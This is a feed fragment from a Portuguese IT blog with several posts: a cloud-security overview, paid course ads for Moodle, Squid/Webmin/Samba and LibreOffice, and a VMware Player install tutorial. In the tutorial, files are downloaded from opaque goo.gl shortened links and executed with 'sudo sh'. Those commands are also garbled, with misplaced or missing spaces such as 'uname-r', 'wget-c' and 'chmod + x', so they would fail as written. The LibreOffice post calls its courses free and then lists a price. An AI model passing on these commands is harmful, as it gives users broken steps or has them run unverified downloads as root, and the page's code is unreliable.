</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/4661191324633502107/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/11/salarios-de-lideres-de-ti-aumentam-45.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/4661191324633502107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/4661191324633502107'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/11/salarios-de-lideres-de-ti-aumentam-45.html' title='Salários de líderes de TI aumentam 4,5% em um ano'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyp9xVXGMEADR1m03oYX_hrVnQXFKuZBglC2-Fbv7EinBocfAVQPl_rQxFjGCZhBhF6cpdsSCG4hokOKHTJg5CQKRgdxCa6H45XIe37IdJaVtLiPvXpe-xvYvbZyxcIQfbr5-Gi19s8Vs/s72-c/mobilidade.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-5017792424742638949</id><published>2014-09-22T20:58:00.001-04:00</published><updated>2014-09-22T20:58:38.840-04:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><title type='text'>Como anda a segurança no Cloud Computing?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://docmanagement.com.br/wp-content/uploads/2012/08/cloud.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://docmanagement.com.br/wp-content/uploads/2012/08/cloud.png&quot; height=&quot;146&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Com o passar dos anos a segurança nunca é demais. As tecnologias foram evoluindo, e com elas, os hackers foram se adaptando e ficando cada vez mais ágeis e habilidosos em burlar sistemas de gerenciamento e informações sigilosas de empresas e instituições. Portanto, a segurança continua sendo umas das principais preocupações entre as empresas que possuem interesse em implementar à sua gestão uma estratégia de cloud computing. Contudo, muitas optam por não implementá-lo devido a estas incertezas, e isso fez com que vários trabalhos fossem desenvolvidos nesta área afim de encontrar soluções, medidas para proteger as informações nele contidas.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;O que é&lt;/b&gt;&lt;br /&gt;
RELACIONADOO que é computação nas nuvens (cloud computing)?O que é computação nas nuvens (cloud computing)? O Cloud Computing (ou Computação em Nuvem, aqui no Brasil), nada mais é que fazer uso de recursos computacionais que advém de servidores compartilhados e interligados por meio da internet, ou seja, vem a ser uma espécie de programa de gestão, arquivamento e relação de dados de uma organização. Devido ao seu armazenamento ser feito através da internet, o gerenciamentos destes dados podem ser realizados de qualquer lugar do mundo, através de qualquer computador, tablet ou celular conectado à rede.&lt;br /&gt;
Com isso, muitos aplicativos, assim como arquivos e outros dados relacionados, não precisam mais estar instalados ou armazenados no computador do usuário ou em um servidor próximo. Alguns exemplos bem conhecidos de cloud computing são os serviços do Dropbox, Google Music, iCloud e Google Docs, onde permitem que os usuários criem, editem e sincronizem músicas e arquivos ao mesmo tempo, estando disponível ao acesso em qualquer lugar. Ao mesmo tempo em que o fato de serem serviços totalmente virtuais apresentar-se como uma vantagem, pode ser considerada, ao mesmo tempo, como uma desvantagem, pois caso se perca, ou ocorra algum problema com o seu acesso à internet, os arquivos e dados não poderão ser acessados.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Segurança&lt;/b&gt;&lt;br /&gt;
Com o passar do tempo e sua disseminação pela internet, a comunicação em nuvem passou a ser uma alternativa tentadora para muitas empresas, pois estas não necessitariam adquirir softwares e suas respectivas assistências técnicas. Isto iria trazer uma série de benefícios à elas, como redução de custos e de mão de obra qualificada, por exemplo. No entanto, o principal impasse que faz com que estas empresas não aderem às cloud computings, é o fato da segurança dos servidores, responsáveis pela armazenagem destas informações, ser um tanto quanto duvidosa.&lt;br /&gt;
&lt;br /&gt;
Com isso, alguns fornecedores de serviços através de cloud computing passaram a oferecer serviços de encriptação integrados nas suas ofertas de armazenamento, isto é, transformar as informações de modo a impossibilitar a sua leitura a todos, exceto aqueles que possuam uma informação complementar e particular. Mas existe, também, uma variedade de aplicações de terceiras partes a quem os clientes podem comprar esta prestação de serviço de proteção a ataques de serviços (DDoS) e medidas de controle de acesso especificamente adaptados à cloud computing.&lt;br /&gt;
&lt;br /&gt;
No que tange ao paradoxo que envolve esta questão de segurança na comunicação em nuvem, foram desenvolvidos sete princípios de segurança nesta rede de armazenamento.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://imagens.canaltech.com.br/4321.8053-Computacao-na-nuvem.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://imagens.canaltech.com.br/4321.8053-Computacao-na-nuvem.jpg&quot; height=&quot;110&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Acesso privilegiado de usuários - A sensibilidade de informações confidenciais nas empresas obriga um controle de acesso dos usuários e informações bem específicas de quem terá privilégio de administrá-las.&lt;br /&gt;
Compliance com regulamentação - As empresas são responsáveis pela segurança, integridade e a confidencialidade de seus próprios dados. Os fornecedores de cloud computing devem estar preparados para auditorias externas e certificações de segurança.&lt;br /&gt;
Localização dos dados - A empresa que usa cloud provavelmente não sabe exatamente onde os dados estão armazenados, talvez nem o país onde as informações estão guardadas. O fornecedor deve estar disposto para se comprometer a armazenar e a processar dados em jurisdições específicas, assumindo um compromisso em contrato de obedecer os requerimentos de privacidade que o país de origem da empresa ordena.&lt;br /&gt;
Segregação dos dados - Geralmente uma empresa divide um ambiente com dados de diversos clientes. Procure entender o que é feito para a separação de dados, que tipo de criptografia é segura o suficiente para o funcionamento correto da aplicação.&lt;br /&gt;
Recuperação dos dados - O fornecedor em cloud deve saber onde estão os dados da empresa e o que acontece para recuperação de dados em caso de catástrofe. Qualquer aplicação que não replica os dados e a infra-estrutura em diversas localidades está vulnerável a falha completa, sendo necessário ter um plano de recuperação.&lt;br /&gt;
Apoio à investigação - A auditabilidade de atividades ilegais pode se tornar impossível em cloud computing uma vez que há uma variação de servidores conforme o tempo onde estão localizados os acessos e os dados dos usuários. Importante obter um compromisso contratual com a empresa fornecedora do serviço e uma evidência de sucesso no passado para esse tipo de investigação.&lt;br /&gt;
Viabilidade em longo prazo - No mundo ideal, o seu fornecedor de cloud computing jamais vai falir ou ser adquirido por uma empresa maior. A empresa precisa garantir que os seus dados estarão disponíveis caso o fornecedor de cloud computing deixe de existir ou seja migrado para uma empresa maior. Importante haver um plano de recuperação de dados e o formato para que possa ser utilizado em uma aplicação substituta.&lt;br /&gt;
Um grande número de empresas, hoje, opta por iniciar sua experiência com cloud computing em plataforma privada, interna, o que proporciona um bom ambiente para se introduzir controles de segurança. Posteriormente, alargam sua plataforma, isto é, passam-na à híbrida ou pública. Percebe-se, portanto, que este processo de controle, proteção contra ataques virtuais, é de extrema valia à organização.&lt;br /&gt;
&lt;br /&gt;
Dispomos de uma boa variedade de programas de segurança que podem ser acoplados serviço de armazenamento em nuvem, além das já disponibilizadas por elas mesmas, que podem fazer com que seus dados e informações fiquem protegidos e seguros, impedindo o acesso de terceiros não autorizados. Se você faz uso de uma comunicação em nuvem e se sente apreensivo em relação a segurança de seus dados, basta tomar alguns cuidados básicos como definir criptografias à dados mais sensíveis do servidor e realizar alterações nas senha regularmente.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Leia a seguir: Como aumentar a velocidade da internet&lt;/b&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/5017792424742638949/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/09/como-anda-seguranca-no-cloud-computing.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/5017792424742638949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/5017792424742638949'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/09/como-anda-seguranca-no-cloud-computing.html' title='Como anda a segurança no Cloud Computing?'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-7235556268352442563</id><published>2014-05-22T08:06:00.004-04:00</published><updated>2016-01-05T10:41:31.667-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP fórum"/><category scheme="http://www.blogger.com/atom/ns#" term="Rede Sociais"/><title type='text'>Moodle 2.6 - Instalação, Customização e Backup no Hangout por vídeo</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://studi.com.br/files/imagem/moodle_studi2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://studi.com.br/files/imagem/moodle_studi2.jpg&quot; height=&quot;120&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Neste curso, o professor Fabrício Silva Ferreira irá apresentar, de forma clara e objetiva, um passo a passo para que todos possam realizar a instalação do ambiente Moodle. Será abordado também os recursos de customização, existentes no Moodle, que tornarão o Moodle mais agradável aos alunos, além dos procedimentos para o Backup.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Moodle, um breve histórico;&lt;br /&gt;
Requisitos do servidor;&lt;br /&gt;
Opções de pacotes;&lt;br /&gt;
Download;&lt;br /&gt;
Descompactação;&lt;br /&gt;
Upload;&lt;br /&gt;
Corrigindo possíveis erros;&lt;br /&gt;
Instalação;&lt;br /&gt;
Alterando temas;&lt;br /&gt;
Importando pacotes;&lt;br /&gt;
Ativação de Plugins;&lt;br /&gt;
Blocos;&lt;br /&gt;
Inserção de blocos;&lt;br /&gt;
Customizando blocos;&lt;br /&gt;
Backup.&lt;br /&gt;
&lt;br /&gt;
Por: Videoconferência Hangout;&lt;br /&gt;
Valor: R$ 350,00 mensal;&lt;br /&gt;
Tempo: 02 semanas horária de 40 horas.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/7235556268352442563/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/05/moodle-26-instalacao-customizacao-e.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/7235556268352442563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/7235556268352442563'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/05/moodle-26-instalacao-customizacao-e.html' title='Moodle 2.6 - Instalação, Customização e Backup no Hangout por vídeo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-6594369498337933802</id><published>2014-05-05T20:57:00.003-04:00</published><updated>2014-05-05T20:59:49.139-04:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><title type='text'>Instalar VMware Player 6.0.1 no Ubuntu / Linux Mint</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYcxck_8336V60I7Yo0MF3mKCyLk9MqXBoYyi8aIM93Fni_elt7gXikVhNpu6Lo9Btqgbhr0oMck8Wu4TF_5A1U62pTfQr5tie423wpTCpehCXQKztd1VeNoCOxvOuZcMbejvD5KpzUhm/s1600/vmware.JPG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYcxck_8336V60I7Yo0MF3mKCyLk9MqXBoYyi8aIM93Fni_elt7gXikVhNpu6Lo9Btqgbhr0oMck8Wu4TF_5A1U62pTfQr5tie423wpTCpehCXQKztd1VeNoCOxvOuZcMbejvD5KpzUhm/s1600/vmware.JPG&quot; height=&quot;162&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
VMware Player foi atualizado para a versão 6.0.1 recentemente que resolve alguns problemas conhecidos. Para verificar o que foi corrigido nesta atualização mais recente.&lt;br /&gt;
&lt;br /&gt;
Neste tutorial, vamos ver como instalar o VMware Player 6.0.1 nas seguintes distribuições:&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Ubuntu 13.10/13.04/12.10 ou mais&lt;br /&gt;
Linux Mint 16/15/14 ou mais&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;VMware Player 6.0.1 Instalação&lt;br /&gt;
&lt;br /&gt;
para instalar VMware Player 6.0.1 no Ubuntu / Linux Mint, executado em primeiro lugar este comando:&lt;br /&gt;
&lt;br /&gt;
sudo apt-get install build-essential linux-headers-`uname-r`&lt;br /&gt;
&lt;br /&gt;
Sob um sistema de 32 bits, você pode instalar o VMware Player com os seguintes comandos:&lt;br /&gt;
&lt;br /&gt;
mkdir ~ / VMware &amp;amp;&amp;amp; cd ~ / VMware&lt;br /&gt;
wget-c http://goo.gl/kkfRJg-O VMware-Player-i386.bundle.tar&lt;br /&gt;
tar-xvf &amp;nbsp;VMware-Player-i386.bundle.tar&lt;br /&gt;
chmod + x VMware-Player-6.0.1-1379776.i386.bundle &lt;br /&gt;
sudo sh VMware-Player-6.0.1-1379776.i386.bundle&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Para sistemas de 64 bits, digite os seguintes comandos:&lt;br /&gt;
&lt;br /&gt;
mkdir ~ / VMware &amp;amp;&amp;amp; cd ~ / VMware&lt;br /&gt;
wget-c http://goo.gl/Uxia2s-O VMware-Player-x86_64.bundle.tar&lt;br /&gt;
tar-xvf &amp;nbsp;VMware-Player-x86_64.bundle.tar&lt;br /&gt;
chmod + x VMware-Player-6.0.1-1379776.x86_64.bundle&lt;br /&gt;
sudo sh VMware-Player-6.0.1-1379776.x86_64.bundle&lt;br /&gt;
&lt;br /&gt;
Fonte:&amp;nbsp;Upubuntu&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/6594369498337933802/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/05/instalar-vmware-player-601-no-ubuntu.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/6594369498337933802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/6594369498337933802'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/05/instalar-vmware-player-601-no-ubuntu.html' title='Instalar VMware Player 6.0.1 no Ubuntu / Linux Mint'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQYcxck_8336V60I7Yo0MF3mKCyLk9MqXBoYyi8aIM93Fni_elt7gXikVhNpu6Lo9Btqgbhr0oMck8Wu4TF_5A1U62pTfQr5tie423wpTCpehCXQKztd1VeNoCOxvOuZcMbejvD5KpzUhm/s72-c/vmware.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-8268550148273433381</id><published>2014-03-08T08:33:00.001-04:00</published><updated>2015-06-20T08:32:53.684-04:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Programas"/><category scheme="http://www.blogger.com/atom/ns#" term="Rede Sociais"/><category scheme="http://www.blogger.com/atom/ns#" term="Webdesigner"/><title type='text'>Curso Online de Instalação de Servidor Squid proxy, Webmin com Samba</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKzbNRrg0RLrW2Ahmfu0VqRbCTmNB0gbnZAqnnDiQAC6rxtaowagw5c1a7GpS8a0ZmGTM4Haw_SELLJmwLuWKTON4WwcswahDsawQuVzxN1XhHxp2hJBNlXhE17etwGjZfwJbtg9Aqzg/s1600/squid_logo.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;145&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKzbNRrg0RLrW2Ahmfu0VqRbCTmNB0gbnZAqnnDiQAC6rxtaowagw5c1a7GpS8a0ZmGTM4Haw_SELLJmwLuWKTON4WwcswahDsawQuVzxN1XhHxp2hJBNlXhE17etwGjZfwJbtg9Aqzg/s1600/squid_logo.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Sobre o Squid é um Servidor proxy:&lt;br /&gt;
O Squid é um Servidor proxy cache de alto desempenho que suporta os protocolos HTTP, HTTPS,FTP, TLS, SSL. Reduz o uso da banda e melhora os tempos de resposta de páginas solicitadas que estão em cache. O Squid tem um grande controle de ACLS sendo muito flexível. Ele aumenta a velocidade de entrega da página solicitada ao cliente. Funciona em Linux, Unix e Windows, é licenciado sob o GNU GPL.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.labtestproject.com/files/linux_network/images/squid_proxy.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.labtestproject.com/files/linux_network/images/squid_proxy.png&quot; height=&quot;224&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Um servidor proxy é uma ferramenta importante em uma rede interna que tenha contato com outra pública como a internet, pois implementa uma série de facilidades e controles, de modo a possibilitar que máquinas de uma rede privada possam acessar uma rede pública sem que para isso tenham uma ligação direta.&lt;br /&gt;
&lt;br /&gt;
Ao final deste documento saberemos como instalar e configurar basicamente um servidor proxy Squid, e como faze-lo funcionar como proxy transparente.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.webmin.com/screenshots/chapter51/figure1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.webmin.com/screenshots/chapter51/figure1.png&quot; height=&quot;222&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Sobre o Webmin:&lt;br /&gt;
O Webmin é uma ferramenta de administração gráfica baseada em uma interface web, escrito utilizando a linguagem Perl. Ele foi projetado para ser uma ferramenta de administração leve, funcional, e que possa ser facilmente estendida pois é totalmente modular. A ferramenta está disponível hoje para mais de 20 idiomas, e está sendo considerada a ferramenta oficial de administração em algumas distribuições GNU/Linux, muito embora ainda não no Ubuntu.&lt;br /&gt;
&lt;br /&gt;
O Webmin funciona como um centralizador de configurações do sistema, monitoramento dos serviços e de servidores, fornecendo uma interface amigável, e que quando configurado com um servidor web, pode ser acessado de qualquer local, através de um simples navegador qualquer.&lt;br /&gt;
&lt;br /&gt;
Esta documentação tem como objetivo abordar sobre este aplicativo, onde veremos como instala-lo, como é o seu ambiente, quais as principais funções e configurações que podem ser feitas através dele, e de que forma sua interface é organizada.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Sobre o Samba:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Esse tutorial irá ajudá-lo a configurar um compartilhamento confiável e seguro entre Linux e &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCq_qCUk4qsEMxUctpeoE9xRCqzBMM7a65OGvAfAs7hRHWW9p02rEZtBOeHLgZv2vneKRhvZJHlTaUUTBFZX3w3wZWzf5olnZF_S1M4b0c3ubvBcEw6k-1_BUIOHGH9ZveKP3ZCPS1Ow4/s1600/978377.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;182&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCq_qCUk4qsEMxUctpeoE9xRCqzBMM7a65OGvAfAs7hRHWW9p02rEZtBOeHLgZv2vneKRhvZJHlTaUUTBFZX3w3wZWzf5olnZF_S1M4b0c3ubvBcEw6k-1_BUIOHGH9ZveKP3ZCPS1Ow4/s1600/978377.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Windows. Será exibido os passos necessários em ambos os sistemas operacionais.&lt;br /&gt;
&lt;br /&gt;
Esse guia deve ser compatível com as seguintes versões do Ubuntu:&lt;br /&gt;
&lt;br /&gt;
Dapper Drake (6.06)&lt;br /&gt;
Edgy Eft (6.10)&lt;br /&gt;
Feisty Fawn (7.04)&lt;br /&gt;
Gutsy (7.10)&lt;br /&gt;
Ele também funciona com as seguintes versões do Microsoft Windows (com um Grupo de Trabalho, não com um Domínio):&lt;br /&gt;
&lt;br /&gt;
Windows 2000 Professional&lt;br /&gt;
Windows XP Home&lt;br /&gt;
Windows XP Professional&lt;br /&gt;
Windows XP 64-bit Edition&lt;br /&gt;
Porém, apenas foi testado com o Feisty Fawn e Windows XP 64-bit Edition.&lt;br /&gt;
&lt;br /&gt;
Nesse guia nós iremos configurar um compartilhamento no Windows e acessá-lo no Linux. Isso aparente ser mais confiável e mais natural.&lt;br /&gt;
&lt;br /&gt;
Pelo:&lt;br /&gt;
Hangout por vídeo a partir 20hs.&lt;br /&gt;
&lt;br /&gt;
Valor:&lt;br /&gt;
Depois de 30 dias a apostila com 102 paginas;&lt;br /&gt;
Valor: R$ 250,00.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Mais Informações:&lt;/b&gt;&lt;br /&gt;
67 3022-6837 ou 9136-2112&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/8268550148273433381/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-online-de-instalacao-de-servidor.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/8268550148273433381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/8268550148273433381'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/curso-online-de-instalacao-de-servidor.html' title='Curso Online de Instalação de Servidor Squid proxy, Webmin com Samba'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKzbNRrg0RLrW2Ahmfu0VqRbCTmNB0gbnZAqnnDiQAC6rxtaowagw5c1a7GpS8a0ZmGTM4Haw_SELLJmwLuWKTON4WwcswahDsawQuVzxN1XhHxp2hJBNlXhE17etwGjZfwJbtg9Aqzg/s72-c/squid_logo.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-1070768675025964980</id><published>2014-03-07T23:40:00.000-04:00</published><updated>2016-01-05T10:42:14.395-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><title type='text'>Cursos de LibreOffice Hangout por vídeo</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.faculdadearapoti.com.br/blogadm/wp-content/uploads/2012/08/libreoffice005.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.faculdadearapoti.com.br/blogadm/wp-content/uploads/2012/08/libreoffice005.jpeg&quot; height=&quot;141&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Descubra como utilizar todas as ferramentas do LibreOffice através de cursos gratuitos online.&lt;br /&gt;
O LibreOffice é uma suíte livre com várias aplicações de escritório. As ferramentas que encontramos nesta suite são: editor de texto, editor de apresentações, planilha eletrônica, editor de desenho e banco de dados.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
O LibreOffice é concorrente do pacote Office da Microsoft, porém o LibreOffice é gratuito e pode ser utilizado por pessoas comuns e por empresas sem precisar de uma licença para o seu uso.&lt;br /&gt;
&lt;br /&gt;
Os aplicativos que compõem a suite LibreOffice são:&lt;br /&gt;
&lt;br /&gt;
Writer – Editor de Texto&lt;br /&gt;
Calc – Planilha Eletrônica&lt;br /&gt;
Impress – Editor de apresentação&lt;br /&gt;
Draw – Editor de Desenho&lt;br /&gt;
Math – Editor de Fórmulas&lt;br /&gt;
Base – Banco de Dados&lt;br /&gt;
&lt;br /&gt;
Não há nenhum segredo para utilizar o LibreOffice, se você sabe utilizar o Office da Microsoft, também saberá utilizar o LibreOffice sem nenhuma dificuldade. Caso você tenha interesse em aprender como utilizar todos os aplicativos do LibreOffice, separamos para você dois cursos &amp;nbsp;encontrados na internet:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Valor:&lt;/b&gt;&lt;br /&gt;
Depois de 30 dias a apostila com 102 paginas;&lt;br /&gt;
Valor: R$ 350,00.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Mais Informações:&lt;/b&gt;&lt;br /&gt;
67 3022-6837 ou 9136-2112&lt;/div&gt;
